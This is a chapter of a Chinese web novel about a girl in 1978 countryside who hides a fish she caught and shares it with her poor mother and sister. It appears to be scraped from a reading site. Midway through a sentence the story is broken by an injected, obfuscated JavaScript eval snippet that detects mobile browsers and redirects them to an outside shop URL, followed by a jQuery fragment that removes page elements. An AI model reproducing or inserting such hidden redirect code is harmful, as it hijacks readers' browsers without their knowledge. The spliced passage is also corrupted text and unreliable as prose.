默认冷灰
24号文字
方正启体

3. 第 3 章

作者:弋徊本书字数:K更新时间:
    朱苗再也站不住了。


    她急得一脑门汗,连忙表态:“我不知道这些,王婶子,我还有事儿先走了。”


    说完,肩膀一扭,拉着小梅拔腿就跑。


    “哎哟,慢点跑,哎呀!你鞋子怎么是湿的……”朱苗跑出老远后,王婶子的声音还是很清晰的传来。这嗓门,不唱山歌真是可惜了。


    倒计时00:01:39,终于到达河边。


    朱苗松开小梅,嘱咐她乖乖站在原地等一下。


    旋即,一头扎进了旺盛的水草中。


    河的另一边,没怎么长水草的地方,几个妇女正在洗衣服,见此情形不知道是不是有人误会了什么,大喊:“不要在这里撒尿嘞!我们还要洗衣服嘞!”


    朱苗耳根骤烫,装没听见。


    只剩最后一分钟了,快找啊!


    她低着头,一路跑一路找。


    糟糕,只有半分钟了,她却连鱼的影子都没见到。


    十秒……五秒……两秒……


    鱼!


    朱苗眼睛一亮。


    就在她的正前方,那一只大黑草鱼已经挣开缠在身上的水草,眼瞧着马上就要蹦回水里——


    说时迟那时快,朱苗猛地扑过去,将大肥鱼压在身下。


    “啪嗒、啪嗒……”鱼在有限的空间内挣扎。


    朱苗半边衣服都湿了,溅了一脸水。


    她摸着鱼,忽然,傻笑起来。


    “怎么回事,那是谁家的娃,咋不见了,不会掉水里了吧?”水草外围传来女人的声音。


    “这不还有个小孩吗?小梅?”


    朱苗心头一紧。


    -


    走出水草地,几个妇女立刻围了过来。


    朱苗怀里抱着一大把蒲公英,根上的黑土没抖干净,把她的衣服、手、脸全都染脏了。


    手里还攥着一把小蒜,辛辣味儿幽幽飘出来。


    见到几人,朱苗后退一步,紧了紧怀里的野菜,一副受惊吓的模样:“各位婶子,你们站这儿干什么呀?”


    “嗨,我说你急啥嘞,结果是摘这个,它们又没长脚,你跑啥子?我还以为你要在河边撒尿嘞。”一个妇女用手撇了一下蒲公英,没好气说。


    朱苗低下头,不争辩不解释,弱弱道:“婶子,我肚子饿,所以想挖点野菜回去吃。


    恰好这时,眼睫毛上的泥点子钻进眼睛里,一下子把她刺激的眼眶通红、流下泪来。


    “哭什么嘞,可怜见得,衣服也湿了,快回去吧快回去。”另一位婶子拉了拉最开始数落朱苗的那人,摆手道。


    朱苗忙不迭点头:“那我和小梅先回去了,婶子们再见。”


    说罢,她牵起小梅,快步离开。


    刚出婶子的包围圈,就注意到一个模样清俊的男孩站在不远处,一双琥珀色眼睛一动不动盯着她藏鱼的位置。


    朱苗刚舒的一口气,又提了起来。


    “清清哥哥。”小梅指着男孩叫。


    “你认识?”朱苗问小梅,想借机找男孩说两句话,打探一下男孩有没有看见什么。


    谁知男孩转头就跑走了。


    朱苗看着对方的背影,深深皱起眉头。


    不怪她谨慎,现在可是1978年,在原主的记忆里,这时候有一个说法叫做“水流属于全民所有”,从这话往下推,是不是水里的鱼也属于全民所有?


    朱苗不敢猜,不敢赌。


    要是被抓住了,人家说她偷拿偷占集体的便宜,她再说这个鱼是系统送给她的,也没人相信啊。


    所以,在发现有人过来的时候,她第一时间把鱼敲昏,藏在衣服里,又赶紧摘下一大把蒲公英遮掩。


    本来以为没人发现,但那个男孩的眼神……


    朱苗又紧了紧衣服,怀里跟揣着一个炸弹一样,心脏不安的乱跳。


    她加快脚步。


    -


    回到家,刚踏入厨房,鱼便醒了。


    鱼尾扑腾着,在朱苗的怀里挣扎。


    她赶忙朝身后望了一眼,提起的一口气缓缓吐出——幸好,已经到家了。


    朱苗吸吸鼻子,打算把鱼放下。


    这时,她的目光落在家里唯一的水盆的大洞上……


    片刻后,灶台上的大铁锅里,水波荡漾,鱼儿摆动鱼尾,转着圈游了起来。


    ……


    傍晚。


    “咳咳……”燃烧的噼啪声里,朱苗咳嗽着醒来,嗓子微痒。


    她摸了摸额头,刚降下去的体温又烧起来了。看了看还在熟睡的小梅,她踮着脚,穿走小梅的小鞋。


    门外,宋盼娣单薄的身影坐在火光前。朱苗的棉袄和棉鞋搁在一边烘烤,看起来,都简单洗过脏污处,


    女人一手举着破洞的水盆,一手拿火钳夹着铝片,伸入灶火深处,等其烧得微微发软后,迅速拿出,按在破洞处。


    紧接着,她用木槌沿着边缘轻轻敲打,让那片补丁像长在上面一样,严丝合缝地把洞补好了。


    “咳,娘。”朱苗走过去。


    宋盼娣回头看她一眼,旋即让出位置,另一把竹凳摆在灶火前。


    朱苗坐下,烤着火,摸摸差不多干了的鞋子。


    她伸长脖子,见锅中只有沸腾的水,于是问:“鱼呢?”


    “你下河了?”宋盼娣不答反问。


    朱苗顿了一下,看向宋盼娣。


    女人的脸,干瘪沟壑,饱经风霜。女人的手,伤痕累累,布满厚茧。


    无论是原主的记忆,还是朱苗的亲身接触——宋盼娣一直都是沉默的形象,几乎没有过情绪。


    她不笑、不哭、不愤怒,仿佛所有力气都用在了日复一日的按部就班里。


    而那些从没盼头与甜头的日子,就这么麻木的拖垮她的身体,蚕食她的灵魂。


    这是第一次,死水泛起微澜——宋盼娣的语气里明显有了情绪,她在紧张害怕,也在责备难过。


    “没有。”朱苗觑着她的脸色,回答,“河边捡的,当时鱼被水草缠住了。而且我是偷偷带回来的,没、没人知道我捡了鱼。”


    最后一句话她说的有点心虚。


    “……嗯。”又是一阵沉默后,宋盼娣低低应了一声,没再说什么。


    旋即,一大把蒲公英下锅。


    朱苗:“……”


    还是逃不开吃野菜的命运吗?


    她想拒绝,可看着宋盼娣火光映照下的脸,又抿紧嘴巴。


    这时,宋盼娣举起火钳打散了柴火,火势瞬间变小,紧接着熄灭,只剩下余烬的红光一闪一闪。


    朱苗心更沉了——不仅要吃野菜,并且还只有野菜吗?


    她就要忍不住张嘴时,倏见一个土圪塔被宋盼娣埋入余烬里。


    不一会儿,带着温度的棉袄披在朱苗身上,水盆中热水微漾没有撒漏分毫,小梅被抱出来,洗脸洗手。


    一碗野菜汤,盛入小碗,放在小孩当饭桌的竹凳上面,朱苗也一样。


    土


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311245|198857||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疙瘩被夹出灶膛,表面的黄土开裂,宋盼娣“啪啪”打两下,便露出了下面的绿叶。


    再把绿叶打开,霎时间,蒜香扑鼻,表皮微干但汁水丰富的鱼肉出现在眼前。


    “哇——”小梅发出赞叹。


    朱苗咽了咽口水:“这难道是叫……叫花鱼?”


    她迫不及待地夹起一块鱼肉,送进嘴里。


    微微的鱼腥味,浓郁的蒜香,一点咸味,不错不错。再喝一口蒲公英汤,苦中带香,还行还行。


    不算多美味的食物,特别对朱苗这个曾经酷爱吃火锅的重口味人来说,但她已经很满足了。


    “苦苦,不要、喝药药、不要。”小梅忽然叫起来。


    朱苗偏头,就见到一张苦着的小脸,正吐着舌头,小狗一样斯哈斯哈。


    “原来那种野菜味儿冲,你都可以吃,这个只是苦,就不行啦?”朱苗打趣小孩,又夹起一块鱼肉,“吃这个,这个不苦。”


    “啊——”


    小梅张开嘴巴。


    “有人吗?”


    突然,一道浑厚有力的中年男声传来。


    宋盼娣腾地起身,一把撸走朱苗筷子上的鱼肉,整条鱼一包,塞进角落的背篓里。


    “大队长。”女人在衣服上擦着手迎出去,又捋了捋自己的头发,拘谨地喊道。


    “吃饭呢?”男人提一盏老式煤油灯,站在半露天厨房外,随口问了一句,说起正事,“我听说苗苗回来了?”


    朱苗听见自己的名字,站起来。


    “大队长。”她也这么叫,见对方没反对,就知道原主家和这个大队长攀不上一点儿关系。


    “嗯。”大队长点头,眉头一个川字,“村里人都在传,你吃不饱饭饿哭了,有这事吗?”


    朱苗脸烧起来:“咳咳……咳咳咳……没……我当时眼睛里进东西了,不是饿哭的。”


    她咳得停不下来,大队长叹了口气:“苗苗啊,这没啥丢脸的,你家的情况大家多多少少都知道一点。虽说当时你被分给了你爹,但是现在你爹没了,你回你娘这儿天经地义,没有问题。”


    “队里知道你吃不饱饭,就这个问题研究了一下,现在有两个法子。”


    “一呢,是你回镇上,把你户口上分到的定量粮领回来。二呢,是想办法把你的户口转回村里,这样就可以领到大队发下来的基础粮。”


    朱苗听得云里雾里,急忙翻找原主的记忆。


    “听懂了吗?”大队长问。


    朱苗讷讷点头。


    “叔多说一句,你也是大孩子了,以后是要撑起一个家的,啥事儿不要怕,闯荡点,知道吗?”大队长拍了一下朱苗的肩膀。


    朱苗肩一沉,低声回道:“知道了,谢谢叔。”


    又是一声长叹,大队长摆手:“我就是来说这个事儿的,我走了。”


    宋盼娣紧送了两步,停下脚,单薄的背影融在漆黑夜色中。


    半晌,女人转头回来,脸还是那张脸,没什么表情,背好像更弯了。


    朱苗把鱼重新拿出来。


    户口。粮。


    两个词在她脑子里转了一圈。


    “先吃饭吧……娘,我明天一早就去镇上。”朱苗心里没底,却也明白这不是能逃避的事情。


    当晚,一张木板床上,两个辗转反侧的身影。


    小梅轻缓的呼吸声中,宋盼娣的手安静的摸到了朱苗身上,掖好被角。


    朱苗无声笑了笑,闭上眼睛。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)